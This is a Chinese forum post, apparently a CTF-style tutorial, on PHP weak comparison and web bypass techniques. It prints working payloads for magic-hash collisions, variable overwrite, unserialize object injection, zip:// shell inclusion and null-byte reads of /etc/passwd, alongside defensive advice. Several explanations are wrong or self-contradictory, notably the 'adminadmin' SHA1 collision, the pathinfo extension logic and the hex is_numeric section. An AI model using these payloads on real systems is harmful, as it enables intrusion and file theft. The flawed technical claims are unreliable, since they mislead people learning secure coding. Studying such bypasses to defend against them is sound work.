全部版块 我的主页
论坛 会计与财务管理论坛 七区 会计与财务管理
287 0
2025-12-09

PHP 比较运算符详解

在 PHP 中,比较操作分为弱类型比较和严格类型比较。不同的比较方式可能导致意料之外的结果,尤其是在涉及类型转换时。

==

弱类型比较(==)

使用双等号(==)进行比较时,PHP 会自动进行隐式类型转换,只要值相等即可返回 true,不要求类型一致。

常见示例:

  • "1" == 1 → true
  • "1abc" == 1 → true
  • true == 1 → true
  • false == 0 → true
  • "" == 0 → true
  • "0" == 0 → true
  • null == 0 → true
  • [] == false → true

① 字符串以数字开头的转换规则

当字符串以数字字符开头时,在数值上下文中会被转换为对应的数字,后续非数字部分将被忽略。

例如:

  • "1abc" == 1 → true
  • "01test" == 1 → true
  • "0e12345" == 0 → true

这种机制是“0e 漏洞”产生的根源——当两个哈希值都以 "0e" 开头时,它们会被当作科学计数法处理,视为 0,从而导致弱比较下相等。

如:
"0e12345" == "0e54321" → true

② 数字与布尔值的比较

布尔值在比较中也会发生类型转换:

  • 0 == false → true
  • 1 == true → true

③ 空值与零的等价性

空字符串、null 和仅包含空白的字符串在与数字比较时可能被转为 0。

  • "" == 0 → true
  • null == 0 → true
  • " " == 0 → true

④ 数组参与比较的情况

数组在某些情况下也会被转换:

  • [] == false → true
  • [] == 0 → true
===

严格比较(===)

三等号(===)表示恒等比较,要求两个操作数的类型相同且值相同,不会进行任何类型转换。

示例:

  • "1" === 1 → false(类型不同)
  • "1" === "1" → true
  • 0 === false → false(类型不同)

由于不进行类型转换,严格比较能有效避免弱类型漏洞,推荐用于安全敏感场景。

!=

不等比较(!=)

该运算符基于弱类型比较逻辑,判断两值是否不相等,行为与 == 相反。

例如:
"1abc" != 1 → false(因为 "1abc" == 1 成立,所以不等为假)

!==

严格不等比较(!==)

与 === 对应,!== 要求类型或值任意一个不同即返回 true。

示例:

  • 1 !== "1" → true(类型不同)
  • 1 !== 1 → false(完全相同)

代码实例分析

<?php
$flag1 = $flag2 = $flag3 = $flag4 = false;
$real_pass = "0e123456789";

if (isset($_GET['pass']) && $_GET['pass'] == $real_pass) {
    $flag1 = true;
}

$blacklist = 0;
if (isset($_GET['val']) && $_GET['val'] != $blacklist) {
    $flag2 = true;
}

if (isset($_POST['auth']) && $_POST['auth'] === 1) {
    $flag3 = true;
}

if (
    isset($_POST['id']) &&
    floatval($_POST['id']) !== "1" &&
    $_POST['id'] == 1
) {
    $flag4 = true;
}
?>
GET :?pass=0e9999999&val=1
POST:auth[]=1
	  id=1abc

MD5 哈希弱比较问题

当使用弱比较(==)比较两个看起来像科学计数法的字符串时,PHP 会尝试将其解释为浮点数。

若两个不同的字符串其 MD5 值均为 "0e" 开头(即被视为 0 × 10^exp = 0),则会被认为相等。

已知 0e 哈希值(MD5 后的结果长得像科学计数法的数)
240610708=0e462097431906509019562988736854
QNKCDZO=0e830400451993494058024219903391

示例:
md5('240610708') == md5('QNKCDZO') → true(在弱比较下)

<?php
if ($a != 'QNKCDZO' && md5($a) == md5('QNKCDZO')) {
    echo "nb";
}
// 可用 payload: ?a=240610708
?>

防御措施:

应使用严格比较来验证哈希值,防止此类绕过:

  • 使用 === 进行比较
  • 或结合其他方法如 hash_equals() 提高安全性
===
hash_equals()

SHA1 哈希弱比较(0e 漏洞)

类似 MD5,SHA1 也可能生成以 "0e" 开头的哈希值,从而在弱比较中被误判为相等。

例如:
aaK1STfY → 0e76658526655756207688271159624026011393

<?php
if (sha1($a) == sha1('target')) {
    echo "Welcome / FLAG";
}
// payload: ?a=aaK1STfY
?>

防御方式:

同样建议使用严格比较或安全函数:

  • 使用 ===
  • 或使用 hash_equals()
===
hash_equals()

变量覆盖漏洞

parse_str

该漏洞源于动态创建变量而未对输入做充分过滤,特别是使用了危险函数如 parse_str()。

原理说明:

parse_str() 函数可将查询字符串解析为变量,若目标变量未初始化,则可通过参数覆盖。

示例代码:

<?php
$admin = 0;
$flag = "flag{xxxx}";
parse_str($_GET['data']);
if ($admin == 1) {
    echo $flag;
} else {
    echo "nonono!";
}
?>

攻击者可通过构造参数使 $admin 被赋值为 1,从而触发敏感信息输出。

?data=admin=1

修复方案:

避免直接使用 parse_str() 到全局作用域,推荐使用其第二个参数接收结果数组,避免变量污染。

$result = [];
parse_str($_GET['data'], $result);
// 此时变量存储在 $result 中,不会影响原有变量
parse_str(string $query, array &$result)
extract

变量覆盖漏洞原理与防御

通过将数组中的键值导入当前作用域的符号表,可以实现对已有变量的覆盖。这种机制在某些函数中被使用时,容易导致安全问题。

示例代码:

<?php
$admin = 0;
$flag  = "FLAG{test_flag}";
extract($_GET);
if ($admin == 1) {
    echo $flag;
} else {
    echo "Not admin!";
}
?admin=1

可变变量机制引发的覆盖风险

利用动态变量名的方式,攻击者可能通过用户输入控制变量命名,从而覆盖关键变量值。

实例说明:

<?php
$var = 'secret';
$$var = $_GET['key'];   // 等价于:$secret = $_GET['key'];
if ($secret === 'admin') {
    echo "ok";
} else {
    echo "no";
}
?key=admin

另一种变量注入方式:import_request_variables

该函数会将 GET 和 POST 参数批量导入为全局变量,存在严重的变量覆盖隐患。

演示代码:

<?php
$admin = 0;
import_request_variables("gp");  // 导入所有 GET/POST 参数
if ($admin == 1) {
    echo "Welcome admin";
} else {
    echo "Access denied";
}
?admin=1

register_globals 自动注册带来的风险

当 register_globals 开启时,来自 GET、POST、Cookie、Env 或 Server 的参数会被自动注册为全局变量,极易造成未经授权的变量修改。

案例展示:

<?php
$admin = 0;
if ($admin == 1) {
    echo "flag";
}
?admin=1

数组绕过哈希校验漏洞

由于 PHP 中对数组进行 md5 或 sha1 操作会返回 NULL,在松散比较(==)下可能导致逻辑绕过。

典型场景:

if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
    echo "FLAG";
}

意图是让 a 和 b 不相等但哈希相同,形成“哈希碰撞”挑战。

攻击载荷:?a[]=1&b[]=2

解释:md5($_GET['a']) 和 md5($_GET['b']) 均返回 NULL,NULL == NULL 成立;同时 $_GET['a'] != $_GET['b'] 也为真。

NULL

字符串与数字混合比较的绕过技巧

在类型判断不严格的情况下,非完整数字字符串可能绕过检测,但在数值比较中仅取前导数字部分。

strcmp 函数绕过示例:

if (strcmp($_GET['pass'], 'secret') == 0) {
    echo "FLAG";
}
?pass[]=1
/*
在php5.3以下
strcmp(array, "secret") → NULL
NULL == 0 → true
绕过成功
*/

另一类数值判断绕过:

if (is_numeric($b)) exit();
if ($b > 1234) { echo $flag; }

若输入如 1234.1abc 这类字符串,is_numeric 返回 false(因含字母),但比较时按浮点数解析前缀成功。

?b=1235a
switch

松散比较(Loose Comparison)引发的安全问题

PHP 在 switch-case 或 in_array 等结构中默认采用松散比较,可能被构造数据绕过。

switch 结构绕过:

switch ($_GET['type']) {
    case 1: echo "A"; break;
    case 2: echo "B";
}

传入字符串 "1" 也会匹配第一个分支。

?type=2abc	// 字符串转数值2
/*
"2abc" == 2 → true
像 "2e0" 也能绕过(科学计数法)
*/
in_array

in_array 松散检查绕过:

$allow = [1, 2, 3];
if (in_array($_GET['id'], $allow)) { echo $flag; }

若未启用严格模式,传入字符串 "1" 仍可匹配整型 1。

?id=2abc	// 字符串转数值2
/*
"2abc" == 2 → true
*/
strpos
stripos

strpos 返回值处理不当导致的绕过

strpos 找到子串位于开头时返回 0,若用 ! 判断会被误认为未找到。

if (!strpos($_GET['key'], "admin")) {
    echo "bypass!";
}

当 key 包含 "admin" 且位于首位时,返回 0,!0 为 true,错误地进入敏感逻辑。

?key=admin123

/*
strpos("admin123", "admin") = 0 → false
!false = true → bypass
*/
empty()

empty() 函数的隐式布尔转换风险

empty() 将多种值视为 false,包括空字符串、0、"0"、null、false、array() 等。

if (!empty($_GET['user'])) {
    login($_GET['user']);
}

即使传入 "0" 或空数组,也可能绕过检查。

"" (空字符串)
"0"
0
"0.0"
0.0
[]
null
false
?user=0
/*
绕过 empty(),但依然传入 "0"
*/
array_search

弱类型比较下的 array_search 陷阱

array_search 在元素位于首位置时返回索引 0,若直接用于条件判断,会被当作 false。

$allow = ['admin', 'root'];
if (array_search($_GET['role'], $allow)) {
    echo "Allowed";
}

若 role=admin,则返回 0,if(0) 为 false,权限被错误拒绝。

而 role=root 时返回 1,判断为 true,反而通过验证。

?role=admin

防御建议汇总

  • 避免使用 extract() 和 import_request_variables() 等危险函数。
  • 禁用 register_globals 配置项。
  • 升级至 PHP 5.4 以上版本(import_request_variables 已废弃)。
  • 禁止将用户输入作为动态变量名(如 $$var)。
  • 访问外部输入时显式读取数组键,如 $_GET['param'] 而非依赖自动变量。
  • 在类型敏感操作中启用严格比较(第三个参数设置为 true,如 in_array($val, $arr, true))。
  • 正确处理 strpos 等返回整数的函数,应使用 !== false 判断。
  • 谨慎使用 empty()、isset() 等隐式类型转换函数。
extract($_GET, EXTR_SKIP);
$$
import_request_variables()
register_globals
register_globals = On
register_globals = Off
strcmp
is_numeric

绕过技术原理:将字符串转换为浮点数进行处理。

示例代码:

<?php
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)
{
    echo 'admin';
    $_SESSION['admin'] = True;
}
else
{
    echo "flag";
}
?>
array_search("root") = 1
if (1) → true
floatval()

攻击载荷(payload):

?id=1abc

防御措施:

应使用严格比较操作符,避免类型弱比较带来的安全隐患。

===

在所有条件判断中实施严格的数据类型校验。

intval()

利用 intval 函数的特性实现绕过:

示例:

if (intval($_GET['level']) == 1) echo $flag;

对应的 payload:

?level=1abc
//intval("1abc") = 1
filter_var

针对 FILTER_VALIDATE_INT 的绕过方法:

示例代码:

if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
    echo $flag;
}

攻击载荷:

?id=0
/*
filter_var("0", FILTER_VALIDATE_INT) = 0
if (0) → false
*/
即使是合法数字,也被过滤掉。
json_decode()

关于 true/false/null 的比较绕过:

示例:

$data = json_decode($_GET['d']);
if ($data == true) echo $flag;

有效 payload:

?d=false
/*
json_decode("false") = false
false == true → false
*/

但需注意:

?id=1
/*
json_decode("1") = int(1)
1 == true → true
*/

高级 Payload 与变种题型分析

双重 MD5 / SHA1 弱比较绕过

原理说明:
若某字符串的 MD5 值以 "0e" 开头,则其再次进行 MD5 运算后仍可能生成另一个以 "0e" 开头的字符串。由于 PHP 在进行弱比较(==)时会将此类字符串解释为科学计数法表示的浮点数(即 0 × 10^n = 0),因此两个不同的字符串可能被判定相等。

若开发者使用强比较(===),则无法触发此漏洞;但若使用弱比较(==),则可成功绕过验证逻辑。

示例代码:

if (md5(md5($a)) == md5(md5('target'))) {
    echo $flag;
}

攻击载荷:

?a=240610708

解析过程:

md5('240610708')
0e462097431906509019562988736854

再次进行 MD5 加密:

0eXXXXXXXXXX

若结果仍为以 0e 开头的字符串,在弱比较下会被视为 0 == 0,从而达成绕过。

注意:某些特殊输入如

target

也可能具备双重 0e 特性,适用于此类攻击场景。

十六进制数字绕过(适用于 PHP < 5.3.3)

原理:
在较早版本的 PHP 中,系统会将合法的十六进制格式字符串识别为数值。例如,“0x4d2” 被当作十进制的 1234。该行为在 PHP 5.3.3 及之后版本中已被修正。

is_numeric
is_numeric("0x4d2") == true

示例代码:

if (is_numeric($b)) exit("Nope");

攻击载荷(仅限 PHP < 5.3.3):

?b=0x4d2

解释:

0x4d2

表示十六进制数,对应十进制值为 1234,会被 is_numeric 判定为数字类型,导致程序退出:

is_numeric=true
→ exit()

然而,当题目逻辑相反时(常见情况):

if (!is_numeric($b)) echo $flag;

此时可利用非数字形式的十六进制表达绕过检测:

?b=0x4d2   // is_numeric=true → !is_numeric=false → 与题目逻辑结合绕过

反序列化对象注入攻击

原理:
PHP 的 unserialize() 函数可根据用户输入还原任意对象,并填充其属性值。若程序后续逻辑依赖于对象属性(如权限判断),攻击者即可构造恶意对象实现越权访问。

unserialize()

通过控制输入,可构造指定类的对象并设置关键属性:

O:<长度>:"类名":<属性个数>:{属性}

示例代码:

$data = unserialize($_GET['data']);
if ($data->is_admin) {
    echo $flag;
}

攻击载荷:

?data=O:8:"stdClass":1:{s:7:"is_admin";b:1;}

构造过程解析:

O:8:"stdClass"
→ 创建 stdClass 对象
s:7:"is_admin"
→ 设置属性名称
b:1
→ 属性值设为 True

最终生成的对象结构如下:

$data->is_admin === true
serialize

结合魔法方法(Magic Methods)的注入攻击:

__wakeup
/
__destruct

示例类定义:

class User {
    public $level = 0;
    function __destruct() {
        if ($this->level > 9000) echo $flag;
    }
}
$data = unserialize($_GET['obj']);

攻击载荷:

?obj=O:4:"User":1:{s:5:"level";i:9999;}

科学计数法绕过整数限制

示例:

if ($_GET['num'] == 1000000000000000000) echo $flag;

攻击载荷:

?num=1e18
//1e18 == 1000000000000000000
preg_match

正则匹配不完整导致的绕过(未使用锚点或数字匹配不全)

示例:

if (!preg_match("/^\d+$/", $_GET['id'])) exit();
if ($_GET['id'] > 1000) echo $flag;

攻击载荷:

?id=1234abc
//绕过方式与 is_numeric 类似,但题目常写错正则
basename()

文件包含漏洞绕过

原理:
开发者误以为使用 basename() 提取文件名可防止目录穿越攻击。

basename()

实际并不能阻止特殊构造的路径穿透。

../

示例代码:

$file = basename($_GET['file']);
include($file);

攻击载荷:

?file=a.php?\..\..\secret.php
/*
basename() 得到 a.php,但 include() 实际解析路径可能变成 ../../secret.php,实现目录穿越
*/

双写绕过及其他字符串拼接类绕过方式

(此类绕过通常用于过滤机制不完善的情况,例如黑名单替换一次关键字,可通过双写使替换后恢复原词)

当 PHP 中使用条件判断时,若存在如下代码:

if ($_GET['role'] !== "admin" && sha1($_GET['role']) === sha1("admin")) ...

该逻辑看似安全,但由于哈希比较方式不当,可能被特定 payload 绕过。

?role=adminadmin
//利用 SHA1 前缀碰撞

利用 pathinfo() 函数进行文件包含绕过的技术常见于白名单校验场景。

原理在于:pathinfo() 仅提取文件名中最后一个“.”之前的扩展名部分进行判断,攻击者可通过构造特殊文件名实现绕过。

示例代码如下:

$file = $_GET['file'];
if (pathinfo($file, PATHINFO_EXTENSION) !== "php")
    die("nope");
include($file);

通过在参数后添加非 php 扩展,但实际服务器仍解析为 php 的方式触发漏洞。

?

payload 示例:

?file=shell.php?.jpg
/*
pathinfo 只看到 shell.php → 扩展名 = php
include 看到的是 shell.php?.jpg
*/

realpath() 函数可用于规范化路径,并解析符号链接(symlink),但在访问控制中若仅依赖其返回路径做前缀匹配,则可能被符号链接逃逸攻击。

示例代码:

$base = "/var/www/html/uploads/";
$path = realpath($_GET['file']);
if (strpos($path, $base) !== 0) die("nope");
include($path);

攻击者可预先上传恶意文件并创建指向该文件的符号链接,然后通过访问符号链接路径绕过目录限制。

/var/www/html/uploads/safe → /etc/passwd

若已成功上传文件,可结合符号链接进行进一步利用。

uploads/safe_link → ../../secret/flag.php
?file=uploads/safe_link

/*
realpath 解析后指向 flag.php,绕过检查,造成任意文件包含
*/

Nginx 存在“路径穿越解析”漏洞,可被用于绕过文件包含限制。

该问题源于 Nginx 在处理请求路径时对特殊编码或结构的解析差异,导致本应受限的路径被错误映射到敏感文件。

某些nginx配置中:
location ~ \.php$ {
    fastcgi_pass ...
}
但未加:
try_files $uri =404;
导致
/test.jpg/../../flag.php
Nginx 会把 最后一个 .php 文件交给 PHP 解释

例如以下 PHP 代码:

include($_GET['f']);

通过精心构造查询参数 f 的值,可实现对系统任意文件的包含。

?f=1.jpg/../../secret.php
/*
Nginx 会最终把 secret.php 当成 PHP 文件来执行,成功包含flag
*/

ZIP 协议包装器(zip://)是 PHP 支持的一种流协议,允许直接从压缩包中读取文件内容。

原理:PHP 能够通过 zip:// 访问 ZIP 压缩包内的指定文件,只要 zlib 扩展启用且未禁用此协议。

include "zip://archive.zip#file.php";

如果开发者未禁用相关协议处理器,攻击者可以上传一个包含恶意 PHP 文件的 ZIP 包,再通过 zip:// 协议动态包含其中的内容。

示例代码:

include($_GET['file']);

攻击载荷(Payload)示例:

?file=zip://shell.zip#exploit.php

该方式相当于将 ZIP 内部的 exploit.php 作为脚本执行,达到远程代码执行目的。

%00

空字节截断是一种经典漏洞利用技术,适用于 PHP 版本低于 5.3 且运行在非 Windows 环境下的系统。

示例代码:

include($_GET['file'] . ".php");

虽然强制附加了 .php 后缀,但可通过传入包含空字节 %00 的参数来截断后续字符,从而加载任意文件。

?file=../../etc/passwd%00
/*
最终路径解析为:../../etc/passwd
*/

文件名双写绕过是指利用某些 Web 服务器(如 IIS、Nginx)配置不当的问题。

例如上传名为 shell.php.jpg 的文件,部分服务器会因 MIME 类型识别或解析器 fallback 机制,仍将该文件交由 PHP 解析器处理。

shell.php.jpg

这种误配置使得攻击者能够绕过扩展名黑名单,实现代码执行。

对应的 payload 可设计为使用此类双重扩展名的文件名。

?file=shell.php.jpg
二维码

扫码加我 拉你入群

请注明:姓名-公司-职位

以便审核进群资格,未注明则拒绝

栏目导航
热门文章
推荐文章

说点什么

分享

扫码加好友,拉您进群
各岗位、行业、专业交流群